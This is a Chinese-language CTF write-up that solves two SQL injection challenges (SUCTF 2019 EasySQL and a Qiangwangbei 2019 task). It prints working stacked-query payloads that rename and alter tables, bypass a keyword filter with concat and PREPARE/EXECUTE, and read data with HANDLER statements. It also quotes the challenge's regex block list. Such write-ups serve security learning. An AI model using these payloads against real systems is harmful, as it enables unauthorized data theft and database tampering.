[SUCTF 2019] EasySQL 1
思路
- 猜后端代码并拼凑
- 思路别拘泥于时间盲注、报错注入
结果
手工盲注发现过滤了 extractvalue
、union
、sleep
等关键词,并且输入字符无回显,所以没办法使用布尔盲注、时间盲注
测试输入数字的时候显示 Array ( [0] => 1 )
,
那么根据输入数字有回显,输入字符无回显,猜测后端代码有一个 或 结构,可能如下所示:
1 | select $_POST['query'] || flag from flag |
那么 payload 构造有一下几种:
1 | *,1 |
1 | 1;set sql_mode=pipes_as_concat;select 1 |
测试
*,1
本地构建 Flag 数据表进行测试
*,1
的 payload 与后端代码拼接形成
1 | select *,1||flag from Flag |
上面的语句 1||flag
等同于 1
,本地测试结果如下
所以上面的语句效果等同于
1 | select *,1 from Flag |
||
连接符
在 Mysql 9.0.1、5.5.53 版本测试中,select command1 || command2
会返回如下结果:
- 若
command1
或command2
中有一个为非 0 数字,另一个为列名,则结果返回 1 - 若
command1
或command2
中两个为非 0 数字,则结果返回 1 - 若
command1
或command2
中有一个为 0,另一个不是非列名字符的话,则结果返回 0 - 若
command1
或command2
中只要有一个为非列名的字符/字符串,则报错 Unknown culumn
1;set sql_mode=pipes_as_concat;select 1
set sql_mode=pipes_as_concat
是为了将 ||
作为 concat
函数来使用,正常情况下,sql_mode
值为下面的情况
当设置了 sql_mode=pipes_as_concat
之后,1||flag
便等同于 concat(1,flag)
所以最终后端语句执行的是
1 | select concat(1,flag) from Flag |
[强网杯 2019]随便注
题目过滤如下:
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
经过测试,堆叠注入是有效果的:
1 | # 查数据库: supersqli |
注意:数据表如果是数字的话,需要使用反引号进行包裹
但 show
语句只能查询到列名这一个阶段,是没办法查询到数据的,因此接下来要使用别的方法进行数据读取
下面有两种思路获取 flag
改表名、列名
原语句是在另一个数据表 “words” 中进行查询语句的,所以可以利用原语句中的 select
帮助我们:把 “words” 改名为其它,然后把 “1919810931114514” 数据表改名为 “words” ,增添 “id” 列,将 “flag” 列改名为 “data”,然后利用 'or 1=1;#
显示 flag
payload 如下:
1 | 1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);-- q |
利用 concat
拼接
payload 如下:
1 | -1';use supersqli;set @sql=concat('s','elect flag from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;-- q |
SET @sql=
: 定义并设置一个用户变量@sql
PREPARE stmt1 FROM @sql;
PREPARE
: 用于准备一个 SQL 语句,将它编译成一个执行计划,以便后续执行stmt1
: 定义的语句句柄,表示这个准备好的语句的名称FROM @sql
: 表示准备的语句内容来源于@sql
变量。也就是说,这里将@sql
中的字符串内容作为 SQL 语句进行准备
EXECUTE stmt1
: 执行stmt1
语句
Handler 语法
handler 语句,一行一行的浏览一个表中的数据
mysql 专用的语句,并没有包含到 SQL 标准中
1 | HANDLER tbl_name OPEN |
打开一张表,无返回结果,实际上在这里声明了一个名为 tb1_name 的句柄
1 | HANDLER tbl_name READ FIRST |
获取句柄的第一行,通过 READ NEXT
依次获取其它行。最后一行执行之后再执行 NEXT
会返回一个空的结果
1 | HANDLER tbl_name CLOSE |
关闭打开的句柄
1 | HANDLER tbl_name READ index_name = value |
通过索引列指定一个值,可以指定从哪一行开始,通过 NEXT
继续浏览
于是可以通过构造 Handler 语句利用堆叠注入进行列的读取,如下所示:
1 | ?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;# |